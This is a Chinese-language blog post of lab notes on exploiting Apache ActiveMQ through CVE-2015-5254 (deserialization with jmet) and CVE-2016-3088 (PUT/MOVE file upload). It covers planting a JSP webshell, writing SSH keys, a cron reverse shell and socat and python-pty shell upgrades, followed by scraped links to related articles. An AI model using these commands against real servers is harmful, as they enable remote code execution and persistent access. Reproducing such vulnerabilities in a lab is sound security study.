Apache ActiveMQ漏洞笔记
0x00 简介
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。
0x01 环境搭建
本文所使用apachemq版本为:5.11.0
下载地址:http://activemq.apache.org/activemq-5110-release.html
解压后
./bin/activemq start 启动
netstat -ntlp|grep 8161 查看是否启动成功(8161为默认端口)

0x02 反序列化漏洞(CVE-2015-5254)
Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
8161为ActiveMQ的默认web管理端口,61616默认为ActiveMQ消息队列端口。
使用jmet进行漏洞利用,jmet下载地址:
https://github.com/matthiaskaiser/jmet/releases
jmet构造event事件
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "payload" -Yp ROME 192.168.124.128 61616
报错:
在jmet目录下创建external文件夹即可
构造反弹shell的payload发送到反序列化的消息队列中
查看消息:

当点击消息时触发:
0x03 任意文件写入漏洞(CVE-2016-3088)
该漏洞影响Apache ActiveMQ 5.x ~ 5.14.0,但在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(可以在conf/jetty.xml中开启之)。在5.14.0版本以后,彻底删除了fileserver应用。
ActiveMQ 中的 FileServer 服务允许用户通过 HTTP PUT 方法上传文件到指定目录。FileServer是储存文件的接口。FileServer支持写入文件(不解析jsp),但是支持移动文件(Move)我们可以将jsp的文件PUT到FileServer下然后再通过Move指令移动到可执行目录下访问。
使用PUT方法进行上传测试:

成功访问说明文件已经put上去,我们可以直接put jsp小马/大马 移动到可解析目录就可以getshell了。webapps/api/ 或者 webapps/admin/ 下都可以解析jsp。但是要移动文件到可解析目录,需要获取绝对路径
这里介绍两种获取绝对路径的方法:
1.访问http://ip:8161/admin/test/systemProperties.jsp

2.构造错误上传路径可爆出绝对路径(此版本未成功,其他版本可自行测试)
上传Webshell:
根据获取的绝对路径,移动到Web目录下的/root/apache-activemq-5.11.0/webapps/admin/test.jsp
访问shell(需登录,默认密码 admin/admin)
同理也可写入ssh key进行公钥登录
写入corntab 反弹shell(需要activemq 以root权限运行)
移动到/etc/cron.d/root
监听接收shell

crontab定时任务
文件写入到 /etc/crontab.d/中
minute hour day month week command 顺序:分 时 日 月 周
* * * * * command 代表每分钟执行一次
0x04 TIPS
通常我们测试中反弹的shell,操作很简陋,有时候输错一个命令就意味着丢失shell,没有tab,没有vim,等等很不友好!
下面分享几种获得完美shell的方法:
1.使用python pty模块,可以生成一个伪终端
当我们接收到反弹回来的shell的时候执行
python -c 'import pty; pty.spawn("/bin/bash")'

2.使用socat
Socat 像nc一样是一个强大的工具,通过tcp连接,建立完整的tty,如果受害者服务器安装了socat,你就可以用它来反弹shell。如果没有安装可以使用如下命令安装:
wget https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat;chmod +x socat
Listen:
socat file:`tty`,raw,echo=0 tcp-listen:4444
Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ip:4444

3.加了魔法的netcat
首先第一步我们按照第一种方法python pty的方式获取一个shell
接着用组合键“Ctrl-Z”将shell放到后台中去。
检查当前终端和styy信息:
需要的信息为term类型(xterm)和当前stty大小(rows 33; columns 191)
让shell继续保持在后台运行,现在将当前的STTY设置为原始类型,并告诉它回显输入字符

用“fg”将shell提到前台来,用“reset”重置终端

最后利用上面收集的信息设置shell终端类型以及stty大小。
参考链接:https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys
Apache ActiveMQ漏洞笔记的更多相关文章
- apache activemq 学习笔记
0.activemq的概念 activemq实现了jms(java Message server),用于接收,发送,处理消息的开源消息总线. 1.activemq和jms的区别 jms说白了就是jav ...
- Apache ActiveMQ Fileserver远程代码执行漏洞
扫端口的时候遇到8161端口,输入admin/admin,成功登陆,之前就看到过相关文章,PUT了一句话上去,但是没有什么效果,于是本地搭建了一个环境,记录一下测试过程. 环境搭建: ActiveMQ ...
- 【漏洞预警】Apache ActiveMQ Fileserver远程代码执行漏洞(CVE-2016-3088)
漏洞编码:CVE-2016-3088 实验环境:Linux Apache ActiveMQ版本号:Apache ActiveMQ 5.7.0 ----------------------------- ...
- Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现
Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现 一.漏洞描述 该漏洞出现在fileserver应用中,漏洞原理:ActiveMQ中的fileserver服务允许用户通 ...
- Apache ActiveMQ序列化漏洞(CVE-2015-5254)复现
Apache ActiveMQ序列化漏洞(CVE-2015-5254)复现 一.漏洞描述 该漏洞源于程序没有限制可在代理中序列化的类.远程攻击者可借助特制的序列化的java消息服务(JMS)Objec ...
- ActiveMQ学习笔记(5)——使用Spring JMS收发消息
摘要 ActiveMQ学习笔记(四)http://my.oschina.net/xiaoxishan/blog/380446 中记录了如何使用原生的方式从ActiveMQ中收发消息.可以看出,每次 ...
- Apache ActiveMQ实战(2)-集群
ActiveMQ的集群 内嵌代理所引发的问题: 消息过载 管理混乱 如何解决这些问题--集群的两种方式: Master slave Broker clusters ActiveMQ的集群有两种方式: ...
- ActiveMQ漏洞利用方法总结
转载来自:http://www.freebuf.com/column/161188.html 1.Console存在默认端口和默认密码/未授权访问(默认密码为admin:admin) ActiveMQ ...
- [我的CVE][CVE-2017-15709]Apache ActiveMQ Information Leak
问题原因: Apache ActiveMQ默认消息队列61616端口对外,61616端口使用了OpenWire协议,这个端口会暴露服务器相关信息,这些相关信息实际上是debug信息. 会返回应用名称, ...
随机推荐
- 2019.9.25使用BP和Hydra爆破相关的服务
使用BP和Hydra爆破相关的服务. Hydra:九头蛇,开源的功能强大的爆破工具,支持的服务有很多,使用hydra爆破c/s架构的服务.使用bp爆破web登录端口. dvwa:web应用程序漏洞演练 ...
- Kay and Snowflake CodeForces - 686D (树的重心性质)
After the piece of a devilish mirror hit the Kay's eye, he is no longer interested in the beauty of ...
- Addthis分享插件后url乱码的解决办法
Addthis分享插件安装后,有时候URL后面会出现类似#.VB4mxhbjtnQ的一串乱码的乱码,作用是用来追踪客户客户,但是给客户的印象会以为木马中毒之类的 http://localhost/mi ...
- py实现ftp
https://www.cnblogs.com/wangziyi0513/p/11077323.html 参考原始代码: 修改了一下: 许多网友问中文路径乱码怎么办,我觉得应该讲中文路径转码后再发送. ...
- jquery easyui 日历控件和文本框结合使用生成日期
html部分---等待接收所选日期的文本框 <td> <input name='input_date' required class='easyui-textbox' id='xiw ...
- 处理并解决mysql8.0 caching-sha2-password问题,开启远程访问
原文:https://blog.csdn.net/u010026255/article/details/80062153 启动mysql服务:service mysqld start ALTER US ...
- 直通BAT必考题系列:JVM的4种垃圾回收算法、垃圾回收机制与总结
垃圾回收算法 1.标记清除 标记-清除算法将垃圾回收分为两个阶段:标记阶段和清除阶段. 在标记阶段首先通过根节点(GC Roots),标记所有从根节点开始的对象,未被标记的对象就是未被引用的垃圾对象. ...
- 服务端获取参数(koa)
1.获取query(问号后面的内容) ctx.query 2.获取路由参数(如'/user/:id'的id) ctx.param 3.获取body请求体 koa不能直接获取请求体里的body,需要安装 ...
- HGOI20190814 省常中互测7
Problem A 中间值 对于$2$个非严格单增序列$\{A_n\} , \{B_n\}$,维护下列两个操作: 1 x y z: (x=0)时将$A_y = z$ , (x=1)时将$B_y = z ...
- 使用Qt Designer进行布局
在使用Form之前,需要将Form上的对象放置到布局中.这确保在应用程序中预览或使用Form时,对象将正确显示.在布局中放置对象还可以确保在调整窗体大小时它们也能正确调整大小. 应用和打断布局 ...